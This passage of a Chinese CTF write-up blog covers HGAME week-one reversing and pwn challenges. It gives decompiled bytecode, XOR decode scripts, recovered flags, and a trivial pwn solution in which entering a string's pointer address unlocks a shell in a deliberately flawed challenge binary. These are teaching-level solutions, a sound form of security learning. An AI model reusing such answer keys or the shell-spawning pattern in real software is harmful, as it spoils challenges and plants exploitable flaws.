            138 JUMP_ABSOLUTE          112

 15     >>  140 LOAD_GLOBAL              6 (bytes)
            142 LOAD_FAST                4 (res)
            144 CALL_FUNCTION            1
            146 LOAD_METHOD              7 (hex)
            148 CALL_METHOD              0
            150 STORE_FAST               4 (res)

 16         152 LOAD_GLOBAL              8 (print)
            154 LOAD_CONST               6 ('your flag: ')
            156 LOAD_FAST                4 (res)
            158 BINARY_ADD
            160 CALL_FUNCTION            1
            162 POP_TOP
            164 LOAD_CONST               0 (None)
            166 RETURN_VALUE

# your flag: 30466633346f59213b4139794520572b45514d61583151576638643a

然后照样子写出源码。

#
# 源代码
# hgame{.+}
raw_flag = input('give me your flag:\n')
cipher = list(raw_flag[6:-1])
length = len(cipher)

for i in range(length // 2):
    cipher[2*i], cipher[2 * i + 1] = cipher[2 * i + 1], cipher[2*i]


res=[]
for i in range(length):
    res.append(ord(cipher[i]) ^ i)
res = bytes(res).hex()
print('your flag: ' + res)
# your flag: 30466633346f59213b4139794520572b45514d61583151576638643a

好耶,直接就是奇偶位交换,然后异或一下,那直接反过来就完事了。

exp:

# decode
res = '30466633346f59213b4139794520572b45514d61583151576638643a'
x = bytes.fromhex(res)
length = len(x)

cipher = []
for i in range(length):
    cipher.append(chr(x[i] ^ i))

for i in range(length // 2):
    cipher[2*i], cipher[2 * i + 1] = cipher[2 * i + 1], cipher[2*i]
print(cipher)
flag = ''.join(cipher)
print(flag)
# G00dj0&_H3r3-I$Y@Ur_$L@G!~!~

hgame{G00dj0&_H3r3-I$Y@Ur_$L@G!~!~}

Extensive Reading:

(整理)Python字节码详解

helloRe

关键的部分在下图的第39行。

首先读取输入,然后与 sub_140001430 函数返回的结果进行异或,不对则输出 wrong flag。

关键部分

再看 sub_140001430,返回的是 0xFF 递减的结果。

byte_140003480 是比对的部分。

于是写个脚本异或就完事了。

Exp:

xx = """97
 99
..."""
x = xx.strip().split('\n')
x = [int(i.strip(), 16) for i in x]
r = ''
cnt = 0xff
for i in x:
    r += chr(i ^ cnt)
    cnt -= 1
print(r)
# hgame{hello_re_player}

Pwn

whitegive

签到题,源码都给了,好耶!

#include <stdio.h>
#include <unistd.h>

void init_io()
{  
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
}

int main()
{
    unsigned long long num;

    init_io();
  
    printf("password:");
    scanf("%ld", &num);

    if (num == "paSsw0rd") { //Do you know strcmp?
        printf("you are right!\n");
        system("/bin/sh");
    } else {
        printf("sorry, you are wrong.\n");
    }


    return 0;
}

看地址

unsigned long long 和 char* 比较,看指针地址就好了。

0x402012 => 4202514

flag

hgame{W3lCOme_t0_Hg4m3_2222Z222zO2l}


小结

第一周 AK 了 Misc 和 Web,感觉题目还是挺有意思的。

喵呜,binary 好难不会做,嘤嘤嘤。

好快啊,这周就过年了喵~

(溜了溜了


文章作者: MiaoTony
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 MiaoTony !
评论
  目录